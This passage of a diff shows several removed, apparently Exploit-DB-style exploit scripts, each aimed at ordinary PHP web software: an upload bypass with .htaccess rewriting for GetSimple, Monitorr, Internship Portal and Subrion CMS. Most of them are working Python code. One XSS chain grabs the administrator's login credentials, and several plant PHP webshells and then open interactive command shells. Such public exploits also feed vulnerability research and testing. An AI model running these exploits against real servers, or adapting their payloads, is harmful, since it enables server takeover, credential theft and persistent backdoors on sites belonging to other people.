r = session.get(file_url, headers=headers, proxies=proxies)
|
|
||||||
if r.status_code != 200:
|
|
||||||
error("Error %d %s" % (r.status_code, file_url))
|
|
||||||
elif payload in r.text:
|
|
||||||
error("Non-executable %s" % file_url)
|
|
||||||
else:
|
|
||||||
printc("Payload was successful! %s\nOutput: %s" % (file_url, r.text.strip()), bcolors.OKGREEN)
|
|
||||||
return True
|
|
||||||
return False
|
|
||||||
|
|
||||||
def get_random_filename():
|
|
||||||
return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))
|
|
||||||
|
|
||||||
def upload_executable_file_php(payload, query):
|
|
||||||
php_extensions = [".php", ".pht", ".phpt", ".phar", ".phtml", ".php3", ".php4", ".php5", ".php6", ".php7"]
|
|
||||||
random_filename = get_random_filename()
|
|
||||||
b = False
|
|
||||||
for extension in php_extensions:
|
|
||||||
filename = random_filename + extension
|
|
||||||
upload(filename, payload)
|
|
||||||
if test_payload(filename, payload, query):
|
|
||||||
b = True
|
|
||||||
return b
|
|
||||||
|
|
||||||
def upload_executable_file_ssi(payload, command):
|
|
||||||
filename = get_random_filename() + ".shtml"
|
|
||||||
upload(filename, payload)
|
|
||||||
return test_payload(filename, payload, '', headers={'ACCEPT': command})
|
|
||||||
|
|
||||||
def upload_and_rename_file(payload, query):
|
|
||||||
filename = get_random_filename() + ".php"
|
|
||||||
upload(filename, payload)
|
|
||||||
rename(filename + ".noexe", filename)
|
|
||||||
return test_payload(filename, payload, query)
|
|
||||||
|
|
||||||
def upload_htaccess(payload, query):
|
|
||||||
filename = get_random_filename() + ".noexe"
|
|
||||||
upload(filename, payload)
|
|
||||||
filename_ht = get_random_filename() + ".htaccess"
|
|
||||||
upload(filename_ht, "AddType application/x-httpd-php .noexe\nAddHandler application/x-httpd-php .noexe\nOrder deny,allow\nAllow from all\n")
|
|
||||||
delete(".htaccess")
|
|
||||||
rename(filename_ht, ".htaccess")
|
|
||||||
return test_payload(filename, payload, query)
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
args = read_args()
|
|
||||||
base_url = args.base_url if args.base_url[-1] == '/' else args.base_url + '/'
|
|
||||||
documents_url = args.durl if args.durl else urllib.parse.urljoin(base_url, "../documents/")
|
|
||||||
documents_url = documents_url if documents_url[-1] == '/' else documents_url + '/'
|
|
||||||
user = args.user
|
|
||||||
password = args.password
|
|
||||||
payload = "<?php system($_GET['cmd']) ?>"
|
|
||||||
payload_ssi = '<!--#exec cmd="$HTTP_ACCEPT" -->'
|
|
||||||
command = args.cmd
|
|
||||||
query = "cmd=%s" % command
|
|
||||||
if args.proxy:
|
|
||||||
proxies = {"http": args.proxy, "https": args.proxy}
|
|
||||||
|
|
||||||
user_id = login(user, password)
|
|
||||||
if user_id < 0:
|
|
||||||
error("Login error", True)
|
|
||||||
printc("Successful login, user id found: %d" % user_id, bcolors.OKGREEN)
|
|
||||||
print('-' * 30)
|
|
||||||
if not args.fbypass and not args.frenaming and not args.htaccess:
|
|
||||||
args.fbypass = args.frenaming = args.htaccess = True
|
|
||||||
|
|
||||||
if args.fbypass:
|
|
||||||
printc("Trying extension-bypass method\n", bcolors.BOLD)
|
|
||||||
b = upload_executable_file_php(payload, query)
|
|
||||||
b = upload_executable_file_ssi(payload_ssi, command) or b
|
|
||||||
if b:
|
|
||||||
printc("\nextension-bypass was successful", bcolors.OKBLUE)
|
|
||||||
else:
|
|
||||||
printc("\nextension-bypass was not successful", bcolors.WARNING)
|
|
||||||
print('-' * 30)
|
|
||||||
if args.frenaming:
|
|
||||||
printc("Trying file-renaming method\n", bcolors.BOLD)
|
|
||||||
if upload_and_rename_file(payload, query):
|
|
||||||
printc("\nfile-renaming was successful", bcolors.OKBLUE)
|
|
||||||
else:
|
|
||||||
printc("\nfile-renaming was not successful", bcolors.WARNING)
|
|
||||||
print('-' * 30)
|
|
||||||
if args.htaccess:
|
|
||||||
printc("Trying htaccess method\n", bcolors.BOLD)
|
|
||||||
if upload_htaccess(payload, query):
|
|
||||||
printc("\nhtaccess was successful", bcolors.OKBLUE)
|
|
||||||
else:
|
|
||||||
printc("\nhtaccess was not successful", bcolors.WARNING)
|
|
||||||
print('-' * 30)
|
|
||||||
|
|
@ -1,125 +0,0 @@
|
||||||
# Exploit Title: GetSimple CMS 3.3.16 - Reflected XSS to RCE
|
|
||||||
# Exploit Author: Bobby Cooke (boku)
|
|
||||||
# Discovery Credits: Bobby Cooke (boku) & Adeeb Shah (@hyd3sec)
|
|
||||||
# Date: March 29th, 2021
|
|
||||||
# CVE ID: CVE-2020-23839 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-23839
|
|
||||||
# Vendor Homepage: http://get-simple.info
|
|
||||||
# Software Link: http://get-simple.info/download/
|
|
||||||
# Version: v3.3.16
|
|
||||||
# Tested against Server Host: Windows 10 Pro + XAMPP
|
|
||||||
# Tested against Client Browsers: Firefox(Linux), Chrome (Linux & Windows), Edge
|
|
||||||
# Full Disclosure & Information at: https://github.com/boku7/CVE-2020-23839
|
|
||||||
|
|
||||||
# Vulnerability Description:
|
|
||||||
# GetSimple CMS v3.3.16 suffers from a Reflected XSS on the Admin Login Portal. On August 12th, 2020, the vendor received full disclosure details of the vulnerability via private email. The vulnerability was publicly disclosed on September 13th, 2020 # via MITRE with the publication of CVE-2020-23839, which contained little details and no proof of concept. On January 20th, 2021 full disclosure and code analysis was publicly disclosed under the GetSimple CMS GitHub active issues ticket.
|
|
||||||
# Exploit Description:
|
|
||||||
# This exploit creates a Reflected XSS payload, in the form of a hyperlink, which exploit CVE-2020-23839. When an Administrator of the GetSimple CMS system goes to this URL in their browser and enters their credentials, a sophisticated exploitation # attack-chain will be launched, which will allow the remote attacker to gain Remote Code Execution of the server that hosts the GetSimple CMS system.
|
|
||||||
# Attack Chain:
|
|
||||||
# 1. Attacker tricks GetSimple CMS Admin to go to the URL provided from this exploit
|
|
||||||
# 2. Admin then enters their credentials into the GetSimple CMS login portal
|
|
||||||
# 3. Reflected XSS Payload triggers onAction when the Admin clicks the Submit button or presses Enter
|
|
||||||
# 4. The XSS payload performs an XHR POST request in the background, which logs the browser into the GetSimple CMS Admin panel
|
|
||||||
# 5. The XSS payload then performs a 2nd XHR GET request to admin/edit-theme.php, and collects the CSRF Token & Configured theme for the webpages hosted on the CMS
|
|
||||||
# 6. The XSS payload then performs a 3rd XHR POST request to admin/edit-theme.php, which injects a PHP backdoor WebShell to all pages of the CMS
|
|
||||||
# 7. The exploit repeatedly attempts to connect to the public /index.php page of the target GetSimple CMS system until a WebShell is returned
|
|
||||||
# 8. When the exploit hooks to the WebShell, an interactive PHP WebShell appears in the attackers console
|
|
||||||
|
|
||||||
import sys,re,argparse,requests
|
|
||||||
from urllib.parse import quote
|
|
||||||
from colorama import (Fore as F, Back as B, Style as S)
|
|
||||||
from time import sleep
|
|
||||||
|
|
||||||
FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT
|
|
||||||
def bullet(char,color):
|
|
||||||
C=FB if color == 'B' else FR if color == 'R' else FG
|
|
||||||
return SB+FB+'['+ST+SB+char+SB+FB+']'+ST+' '
|
|
||||||
info,err,ok = bullet('-','B'),bullet('-','R'),bullet('+','G')
|
|
||||||
|
|
||||||
def webshell(SERVER_URL):
|
|
||||||
try:
|
|
||||||
WEB_SHELL = SERVER_URL
|
|
||||||
getdir = {'FierceGodKick': 'echo %CD%'}
|
|
||||||
r = requests.post(url=WEB_SHELL, data=getdir, verify=False)
|
|
||||||
status = r.status_code
|
|
||||||
cwd = re.findall(r'[CDEF].*', r.text)
|
|
||||||
if cwd:
|
|
||||||
cwd = cwd[0]+"> "
|
|
||||||
term = SB+FG+cwd+FT
|
|
||||||
print(SD+FR+')'+FY+'+++++'+FR+'['+FT+'=========>'+ST+SB+' WELCOME BOKU '+ST+SD+'<========'+FR+']'+FY+'+++++'+FR+'('+FT+ST)
|
|
||||||
while True:
|
|
||||||
thought = input(term)
|
|
||||||
command = {'FierceGodKick': thought}
|
|
||||||
r = requests.post(WEB_SHELL, data=command, verify=False)
|
|
||||||
status = r.status_code
|
|
||||||
if status != 200:
|
|
||||||
r.raise_for_status()
|
|
||||||
response = r.text
|
|
||||||
print(response)
|
|
||||||
else:
|
|
||||||
r.raise_for_status()
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
def urlEncode(javascript):
|
|
||||||
return quote(javascript)
|
|
||||||
|
|
||||||
def genXssPayload():
|
|
||||||
XSS_PAYLOAD = '/index/javascript:'
|
|
||||||
XSS_PAYLOAD += 'var s = decodeURIComponent("%2f");'
|
|
||||||
XSS_PAYLOAD += 'var h = "application"+s+"x-www-form-urlencoded";'
|
|
||||||
XSS_PAYLOAD += 'var e=function(i){return encodeURIComponent(i);};'
|
|
||||||
XSS_PAYLOAD += 'var user = document.forms[0][0].value;'
|
|
||||||
XSS_PAYLOAD += 'var pass = document.forms[0][1].value;'
|
|
||||||
XSS_PAYLOAD += 'var u1 = s+"admin"+s;'
|
|
||||||
XSS_PAYLOAD += 'var u2 = u1+"theme-edit.php";'
|
|
||||||
XSS_PAYLOAD += 'var xhr1 = new XMLHttpRequest();'
|
|
||||||
XSS_PAYLOAD += 'var xhr2 = new XMLHttpRequest();'
|
|
||||||
XSS_PAYLOAD += 'var xhr3 = new XMLHttpRequest();'
|
|
||||||
XSS_PAYLOAD += 'xhr1.open("POST",u1,true);'
|
|
||||||
XSS_PAYLOAD += 'xhr1.setRequestHeader("Content-Type", h);'
|
|
||||||
XSS_PAYLOAD += 'params = "userid="+user+"&pwd="+pass+"&submitted=Login";'
|
|
||||||
XSS_PAYLOAD += 'xhr1.onreadystatechange = function(){'
|
|
||||||
XSS_PAYLOAD += 'if (xhr1.readyState == 4 && xhr1.status == 200) {'
|
|
||||||
XSS_PAYLOAD += 'xhr2.onreadystatechange = function(){'
|
|
||||||
XSS_PAYLOAD += 'if (xhr2.readyState == 4 && xhr2.status == 200) {'
|
|
||||||
XSS_PAYLOAD += 'r=this.responseXML;'
|
|
||||||
XSS_PAYLOAD += 'nVal = r.querySelector("#nonce").value;'
|
|
||||||
XSS_PAYLOAD += 'eVal = r.forms[1][2].defaultValue;'
|
|
||||||
XSS_PAYLOAD += 'xhr3.open("POST",u2,true);'
|
|
||||||
XSS_PAYLOAD += 'xhr3.setRequestHeader("Content-Type", h);'
|
|
||||||
XSS_PAYLOAD += 'payload=e("<?php echo shell_exec($_REQUEST[FierceGodKick]) ?>");'
|
|
||||||
XSS_PAYLOAD += 'params="nonce="+nVal+"&content="+payload+"&edited_file="+eVal+"&submitsave=Save+Changes";'
|
|
||||||
XSS_PAYLOAD += 'xhr3.send(params);'
|
|
||||||
XSS_PAYLOAD += '}};'
|
|
||||||
XSS_PAYLOAD += 'xhr2.open("GET",u2,true);'
|
|
||||||
XSS_PAYLOAD += 'xhr2.responseType="document";'
|
|
||||||
XSS_PAYLOAD += 'xhr2.send();'
|
|
||||||
XSS_PAYLOAD += '}};'
|
|
||||||
XSS_PAYLOAD += 'xhr1.send(params);'
|
|
||||||
XSS_PAYLOAD += '%2f%2f'
|
|
||||||
return XSS_PAYLOAD
|
|
||||||
|
|
||||||
def argsetup():
|
|
||||||
about = SB+FT+'This exploit creates a Reflected XSS payload, in the form of a hyperlink, which exploit CVE-2020-23839. When an Administrator of the GetSimple CMS system goes to this URL in their browser and enters their credentials, a sophisticated exploitation attack-chain will be launched, which will allow the remote attacker to gain Remote Code Execution of the server that hosts the GetSimple CMS system.'+ST
|
|
||||||
parser = argparse.ArgumentParser(description=about)
|
|
||||||
parser.add_argument('TargetSite',type=str,help='The routable domain name of the target site')
|
|
||||||
args = parser.parse_args()
|
|
||||||
return args
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
print(SB+FB+'Exploit Author'+FT+': '+FB+'Bobby Cooke'+FT+FB)
|
|
||||||
print(SB+FR+' CVE-2020-23839 '+FT+'|'+FR+' GetSimpleCMS v3.3.16 '+FT)
|
|
||||||
print(FR+'Reflected XSS '+FT+'->'+FR+' CredHarvest Payload '+FT+'->'+FR+' XHR Chaining '+FT+'->'+FR+' RCE'+ST)
|
|
||||||
args = argsetup()
|
|
||||||
RHOST = args.TargetSite
|
|
||||||
WEBAPP_URL = RHOST+'/admin/'
|
|
||||||
WEBAPP_URL = WEBAPP_URL+'index.php'
|
|
||||||
PAYLOAD = genXssPayload()
|
|
||||||
ENCODED_PAYLOAD = urlEncode(PAYLOAD)
|
|
||||||
print(info+FT+'Have a '+SB+FB+'GetSimpleCMS '+SB+FC+'Admin '+ST+'go to this '+SB+FM+'URL & login'+ST+', and you will get an '+SB+FR+'RCE WebShell'+ST)
|
|
||||||
print(SB+FB+WEBAPP_URL+ENCODED_PAYLOAD+ST)
|
|
||||||
sleep(1)
|
|
||||||
print(ok+'Waiting for Admin to login with creds, which will trigger the RCE XHR attack chain..')
|
|
||||||
while True:
|
|
||||||
sleep(1)
|
|
||||||
webshell(RHOST)
|
|
||||||
|
|
@ -1,25 +0,0 @@
|
||||||
# Exploit Title: Montiorr 1.7.6m - File Upload to XSS
|
|
||||||
# Date: 25/4/2021
|
|
||||||
# Exploit Author: Ahmad Shakla
|
|
||||||
# Software Link: https://github.com/Monitorr/Monitorr
|
|
||||||
# Tested on: Kali GNU/Linux 2020.2
|
|
||||||
# Detailed Bug Description : https://arabcyberclub.blogspot.com/2021/04/monitor-176m-file-upload-to-xss.html
|
|
||||||
|
|
||||||
An attacker can preform an XSS attack via image upload
|
|
||||||
|
|
||||||
Steps :
|
|
||||||
|
|
||||||
1)Create a payload with the following format :
|
|
||||||
><img src=x onerror=alert("XSS")>.png
|
|
||||||
|
|
||||||
2) Install the database by going to the following link :
|
|
||||||
https://monitorr.robyns-petshop.thm/assets/config/_installation/vendor/_install.php
|
|
||||||
|
|
||||||
3)Register for a new account on the server by going to the following link :
|
|
||||||
https://monitorr.robyns-petshop.thm/assets/config/_installation/vendor/login.php?action=register
|
|
||||||
|
|
||||||
4)Login with your credentials on the following link :
|
|
||||||
https://monitorr.robyns-petshop.thm/assets/config/_installation/vendor/login.php
|
|
||||||
|
|
||||||
5)Go to the following link and upload the payload :
|
|
||||||
https://monitorr.robyns-petshop.thm/settings.php#services-configuration
|
|
||||||
|
|
@ -1,166 +0,0 @@
|
||||||
# Exploit Title: GetSimple CMS Custom JS 0.1 - CSRF to XSS to RCE
|
|
||||||
# Exploit Author: Bobby Cooke (boku) & Abhishek Joshi
|
|
||||||
# Date: 30/04/201
|
|
||||||
# Vendor Homepage: http://get-simple.info
|
|
||||||
# Software Link: http://get-simple.info/download/ & http://get-simple.info/extend/plugin/custom-js/1267/
|
|
||||||
# Vendor: 4Enzo
|
|
||||||
# Version: v0.1
|
|
||||||
# Tested against Server Host: Windows 10 Pro + XAMPP
|
|
||||||
# Tested against Client Browsers: Firefox (Linux & Windows) & Internet Explorer
|
|
||||||
# Vulnerability Description:
|
|
||||||
# The Custom JS v0.1 plugin for GetSimple CMS suffers from a Cross-Site Request Forgery (CSRF) attack that allows remote unauthenticated attackers to inject arbitrary client-side code into authenticated administrators browsers, which results in Remote Code Execution (RCE) on the hosting server, when an authenticated administrator visits a malicious third party website.
|
|
||||||
# Full Disclosure & MITRE CVE Tracking: github.com/boku7/gsCMS-CustomJS-Csrf2Xss2Rce
|
|
||||||
# CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
|
|
||||||
# CVSS Base Score: 9.6
|
|
||||||
|
|
||||||
import argparse,requests
|
|
||||||
from http.server import BaseHTTPRequestHandler, HTTPServer
|
|
||||||
from colorama import (Fore as F, Back as B, Style as S)
|
|
||||||
from threading import Thread
|
|
||||||
from time import sleep
|
|
||||||
|
|
||||||
FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT
|
|
||||||
def bullet(char,color):
|
|
||||||
C=FB if color == 'B' else FR if color == 'R' else FG
|
|
||||||
return SB+C+'['+ST+SB+char+SB+C+']'+ST+' '
|
|
||||||
info,err,ok = bullet('-','B'),bullet('-','R'),bullet('!','G')
|
|
||||||
|
|
||||||
class theTHREADER(object):
|
|
||||||
def __init__(self, interval=1):
|
|
||||||
self.interval = interval
|
|
||||||
thread = Thread(target=self.run, args=())
|
|
||||||
thread.daemon = True
|
|
||||||
thread.start()
|
|
||||||
def run(self):
|
|
||||||
run()
|
|
||||||
|
|
||||||
def webshell(target):
|
|
||||||
try:
|
|
||||||
websh = "{}/webshell.php".format(target,page)
|
|
||||||
term = "{}{}PWNSHELL{} > {}".format(SB,FR,FB,ST)
|
|
||||||
welcome = ' {}{}]{}+++{}[{}========>{} HelloFriend {}<========{}]{}+++{}[{}'.format(SB,FY,FR,FY,FT,FR,FT,FY,FR,FY,ST)
|
|
||||||
print(welcome)
|
|
||||||
while True:
|
|
||||||
specialmove = input(term)
|
|
||||||
command = {'FierceGodKick': specialmove}
|
|
||||||
r = requests.post(websh, data=command, verify=False)
|
|
||||||
status = r.status_code
|
|
||||||
if status != 200:
|
|
||||||
r.raise_for_status()
|
|
||||||
response = r.text
|
|
||||||
print(response)
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
|
|
||||||
def xhrRcePayload():
|
|
||||||
payload = 'var e=function(i){return encodeURIComponent(i);};'
|
|
||||||
payload += 'var gt = decodeURIComponent("%3c");'
|
|
||||||
payload += 'var lt = decodeURIComponent("%3e");'
|
|
||||||
payload += 'var h="application/x-www-form-urlencoded";'
|
|
||||||
payload += 'var u="/admin/theme-edit.php";'
|
|
||||||
payload += 'var xhr1=new XMLHttpRequest();'
|
|
||||||
payload += 'var xhr2=new XMLHttpRequest();'
|
|
||||||
payload += 'xhr1.onreadystatechange=function(){'
|
|
||||||
payload += 'if(xhr1.readyState==4 && xhr1.status==200){'
|
|
||||||
payload += 'r=this.responseXML;'
|
|
||||||
payload += 'nVal=r.querySelector("#nonce").value;'
|
|
||||||
payload += 'eVal=r.forms[1][2].defaultValue;'
|
|
||||||
payload += 'xhr2.open("POST",u,true);'
|
|
||||||
payload += 'xhr2.setRequestHeader("Content-Type",h);'
|
|
||||||
payload += 'payload=e(gt+"?php echo shell_exec($_REQUEST[solarflare]) ?"+lt);'
|
|
||||||
payload += 'params="nonce="+nVal+"&content="+payload+"&edited_file="+eVal+"&submitsave=Save+Changes";'
|
|
||||||
payload += 'xhr2.send(params);'
|
|
||||||
payload += '}};'
|
|
||||||
payload += 'xhr1.open("GET",u,true);'
|
|
||||||
payload += 'xhr1.responseType="document";'
|
|
||||||
payload += 'xhr1.send();'
|
|
||||||
return payload
|
|
||||||
|
|
||||||
def csrfPayload():
|
|
||||||
payload = '<html><body>'
|
|
||||||
payload += '<form action="'+target+'/admin/load.php?id=CustomJSPlugin" method="POST">'
|
|
||||||
payload += '<input type="hidden" name="customjs_url_content" value="">'
|
|
||||||
payload += '<input type="hidden" name="customjs_js_content" value="'+xhrRcePayload()+'">'
|
|
||||||
payload += '<input type="hidden" name="submit" value="Save Settings">'
|
|
||||||
payload += '<input type="submit" value="Submit request">'
|
|
||||||
payload += '</form></body></html>'
|
|
||||||
return payload
|
|
||||||
|
|
||||||
class S(BaseHTTPRequestHandler):
|
|
||||||
def do_GET(self):
|
|
||||||
victim = self.client_address
|
|
||||||
victim = "{}:{}".format(victim[0],victim[1])
|
|
||||||
print("{}{} connected to Malicious CSRF Site!".format(ok,victim))
|
|
||||||
print('{}Waiting for admin to view a CMS webpage & trigger the XSS XHR -> RCE payload..'.format(info))
|
|
||||||
self.wfile.write("{}".format(csrfPayload()).encode('utf-8'))
|
|
||||||
|
|
||||||
def run(server_class=HTTPServer, handler_class=S, port=80):
|
|
||||||
server_address = ('', port)
|
|
||||||
httpd = server_class(server_address, handler_class)
|
|
||||||
print('{}Hosting CSRF attack & listening for admin to connect..'.format(info))
|
|
||||||
try:
|
|
||||||
httpd.serve_forever()
|
|
||||||
except KeyboardInterrupt:
|
|
||||||
pass
|
|
||||||
httpd.server_close()
|
|
||||||
print('Stopping httpd...')
|
|
||||||
|
|
||||||
def tryUploadWebshell(target,page):
|
|
||||||
try:
|
|
||||||
blind = target+page
|
|
||||||
# The ^ symbols are required to escape the <> symbols to create the non-blind webshell (^ is an escape for window cmd prompt)
|
|
||||||
webshUpload = {'solarflare': "echo ^<?php echo shell_exec($_REQUEST['FierceGodKick']) ?^>>webshell.php"}
|
|
||||||
requests.post(url=blind, data=webshUpload, verify=False)
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
def checkWebshell(target):
|
|
||||||
try:
|
|
||||||
websh = "{}/webshell.php".format(target)
|
|
||||||
capsule = {'FierceGodKick':'pwnt?'}
|
|
||||||
resp = requests.post(url=websh, data=capsule, verify=False)
|
|
||||||
return resp.status_code
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
def sig():
|
|
||||||
SIG = SB+FY+" .-----.._ ,--. "+FB+" ___ "+FY+" ___ _____ _____ _ _ _____ \n"
|
|
||||||
SIG += FY+" | .. > ___ | | .--. "+FB+" / \\ "+FY+" |_ | _ / ___| | | |_ _| \n"
|
|
||||||
SIG += FY+" | |.' ,'-'"+FR+"* *"+FY+"'-. |/ /__ __ "+FB+" \\ O / "+FY+" | | | | \\ `--.| |_| | | | \n"
|
|
||||||
SIG += FY+" | </ "+FR+"* * *"+FY+" \ / \\/ \\ "+FB+" / _ \\/\\ "+FY+" | | | | |`--. \\ _ | | | \n"
|
|
||||||
SIG += FY+" | |> ) "+FR+" * *"+FY+" / \\ \\"+FB+" ( (_> < "+FY+"/\\__/ | \\_/ /\\__/ / | | |_| |_ \n"
|
|
||||||
SIG += FY+" |____..- '-.._..-'_|\\___|._..\\___\\ "+FB+"\\___/\\/"+FY+" \\____/ \\___/\\____/\\_| |_/\\___/\n"
|
|
||||||
SIG += FY+" __"+FR+"linkedin.com/in/bobby-cooke/"+FY+"_____ "+" __"+FR+"linkedin.com/in/reverse-shell/"+FY+"\n"+ST
|
|
||||||
return SIG
|
|
||||||
|
|
||||||
def argsetup():
|
|
||||||
about = SB+FB+' The Custom JS v0.1 plugin for GetSimple CMS suffers from a Cross-Site Request Forgery (CSRF) attack that allows remote unauthenticated attackers to inject arbitrary client-side code into authenticated administrators browsers, which results in Remote Code Execution (RCE) on the hosting server, when an authenticated administrator visits a malicious third party website.\n'+ST
|
|
||||||
about += SB+FC+' CVSS Base Score'+FT+':'+FR+' 9.6 '+FT+'|'+FC+' CVSS v3.1 Vector'+FT+':'+FR+' AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H'+FC
|
|
||||||
parser = argparse.ArgumentParser(description=about, formatter_class=argparse.RawTextHelpFormatter)
|
|
||||||
desc1 = ST+FC+'Routable domain name of the target GetSimple CMS instance'+SB
|
|
||||||
parser.add_argument('Target',type=str,help=desc1)
|
|
||||||
desc2 = ST+FC+'Path to the public page which implements the CMS theme'+ST
|
|
||||||
parser.add_argument('PublicPage',type=str,help=desc2)
|
|
||||||
args = parser.parse_args()
|
|
||||||
return args
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
|
||||||
header = SB+FR+' GetSimple CMS - Custom JS Plugin Exploit\n'
|
|
||||||
header += SB+FB+' CSRF '+FT+'->'+FB+' Stored XSS '+FT+'->'+FB+' XHR PHP Code Injection '+FT+'->'+FB+' RCE\n'+ST
|
|
||||||
header += SB+FT+' '+FR+' Bobby '+FR+'"'+FR+'boku'+FR+'"'+FR+' Cooke & Abhishek Joshi\n'+ST
|
|
||||||
print(header)
|
|
||||||
args = argsetup()
|
|
||||||
target = args.Target
|
|
||||||
page = args.PublicPage
|
|
||||||
print(sig())
|
|
||||||
theTHREADER()
|
|
||||||
pwnt = checkWebshell(target)
|
|
||||||
if pwnt != 200:
|
|
||||||
while pwnt != 200:
|
|
||||||
sleep(3)
|
|
||||||
tryUploadWebshell(target,page)
|
|
||||||
sleep(2)
|
|
||||||
pwnt = checkWebshell(target)
|
|
||||||
print("{} A wild webshell appears!".format(ok))
|
|
||||||
webshell(target)
|
|
||||||
|
|
@ -1,74 +0,0 @@
|
||||||
# Exploit Title: Internship Portal Management System 1.0 - Remote Code Execution Via File Upload (Unauthenticated)
|
|
||||||
# Date: 2021-05-04
|
|
||||||
# Exploit Author: argenestel
|
|
||||||
# Vendor Homepage: https://www.sourcecodester.com/php/11712/internship-portal-management-system.html
|
|
||||||
# Software Link: https://www.sourcecodester.com/download-code?nid=11712&title=Internship+Portal+Management+System+using+PHP+with+Source+Code
|
|
||||||
# Version: 1.0
|
|
||||||
# Tested on: Debian 10
|
|
||||||
|
|
||||||
import requests
|
|
||||||
import time
|
|
||||||
|
|
||||||
#change the url to the site running the vulnerable system
|
|
||||||
url="http://127.0.0.1:4000"
|
|
||||||
#burp proxy
|
|
||||||
proxies = {
|
|
||||||
"http": "http://127.0.0.1:8080",
|
|
||||||
}
|
|
||||||
#payload
|
|
||||||
payload='<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>'
|
|
||||||
|
|
||||||
#the upload point
|
|
||||||
insert_url=url+"/inserty.php"
|
|
||||||
|
|
||||||
def fill_details():
|
|
||||||
global payload
|
|
||||||
global shellend
|
|
||||||
global shellstart
|
|
||||||
print("Online Intern System 1.0 Exploit: Unauth RCE via File Upload")
|
|
||||||
#time start
|
|
||||||
shellstart=int(time.time())
|
|
||||||
#print(shellstart)
|
|
||||||
files = {'file':('shell.php',payload,
|
|
||||||
'image/png', {'Content-Disposition': 'form-data'}
|
|
||||||
)
|
|
||||||
}
|
|
||||||
data = {
|
|
||||||
"company_name":"some",
|
|
||||||
"first_name":"some",
|
|
||||||
"last_name":"some",
|
|
||||||
"email":"some@some.com",
|
|
||||||
"gender":"Male",
|
|
||||||
"insert_button":"Apply",
|
|
||||||
"terms":"on"
|
|
||||||
}
|
|
||||||
r = requests.post(insert_url, data=data, files=files)
|
|
||||||
if r.status_code == 200:
|
|
||||||
print("Exploited Intern System Successfully...")
|
|
||||||
shellend = int(time.time())
|
|
||||||
#print(shellend)
|
|
||||||
shell()
|
|
||||||
else:
|
|
||||||
print("Exploit Failed")
|
|
||||||
|
|
||||||
def shell():
|
|
||||||
for shellname in range(shellstart, shellend+1):
|
|
||||||
shellstr=str(shellname)
|
|
||||||
shell_url=url+"/upload/"+shellstr+"_shell.php"
|
|
||||||
r = requests.get(shell_url)
|
|
||||||
if r.status_code == 200:
|
|
||||||
shell_url=url+"/upload/"+shellstr+"_shell.php"
|
|
||||||
break
|
|
||||||
|
|
||||||
r = requests.get(shell_url)
|
|
||||||
if r.status_code == 200:
|
|
||||||
print("Shell Starting...")
|
|
||||||
while True:
|
|
||||||
cmd=input("cmd$ ")
|
|
||||||
r = requests.get(shell_url+"?cmd="+cmd)
|
|
||||||
print(r.text)
|
|
||||||
else:
|
|
||||||
print("File Name Error")
|
|
||||||
|
|
||||||
|
|
||||||
fill_details()
|
|
||||||
|
|
@ -1,120 +0,0 @@
|
||||||
# Exploit Title: Subrion CMS 4.2.1 - File Upload Bypass to RCE (Authenticated)
|
|
||||||
# Date: 17/05/2021
|
|
||||||
# Exploit Author: Fellipe Oliveira
|
|
||||||
# Vendor Homepage: https://subrion.org/
|
|
||||||
# Software Link: https://github.com/intelliants/subrion
|
|
||||||
# Version: SubrionCMS 4.2.1
|
|
||||||
# Tested on: Debian9, Debian 10 and Ubuntu 16.04
|
|
||||||
# CVE: CVE-2018-19422
|
|
||||||
# Exploit Requirements: BeautifulSoup library
|
|
||||||
# https://github.com/intelliants/subrion/issues/801
|
|
||||||
|
|
||||||
#!/usr/bin/python3
|
|
||||||
|
|
||||||
import requests
|
|
||||||
import time
|
|
||||||
import optparse
|
|
||||||
import random
|
|
||||||
import string
|
|
||||||
from bs4 import BeautifulSoup
|
|
||||||
|
|
||||||
parser = optparse.OptionParser()
|
|
||||||
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri http://target/panel")
|
|
||||||
parser.add_option('-l', '--user', action="store", dest="user", help="User credential to login")
|
|
||||||
parser.add_option('-p', '--passw', action="store", dest="passw", help="Password credential to login")
|
|
||||||
|
|
||||||
options, args = parser.parse_args()
|
|
||||||
|
|
||||||
if not options.url:
|
|
||||||
print('[+] Specify an url target')
|
|
||||||
print('[+] Example usage: exploit.py -u http://target-uri/panel')
|
|
||||||
print('[+] Example help usage: exploit.py -h')
|
|
||||||
exit()
|
|
||||||
|
|
||||||
url_login = options.url
|
|
||||||
url_upload = options.url + 'uploads/read.json'
|
|
||||||
url_shell = options.url + 'uploads/'
|
|
||||||
username = options.user
|
|
||||||
password = options.passw
|
|
||||||
|
|
||||||
session = requests.Session()
|
|
||||||
|
|
||||||
def login():
|
|
||||||
global csrfToken
|
|
||||||
print('[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422 \n')
|
|
||||||
print('[+] Trying to connect to: ' + url_login)
|
|
||||||
try:
|
|
||||||
get_token_request = session.get(url_login)
|
|
||||||
soup = BeautifulSoup(get_token_request.text, 'html.parser')
|
|
||||||
csrfToken = soup.find('input',attrs = {'name':'__st'})['value']
|
|
||||||
print('[+] Success!')
|
|
||||||
time.sleep(1)
|
|
||||||
|
|
||||||
if csrfToken:
|
|
||||||
print(f"[+] Got CSRF token: {csrfToken}")
|
|
||||||
print("[+] Trying to log in...")
|
|
||||||
|
|
||||||
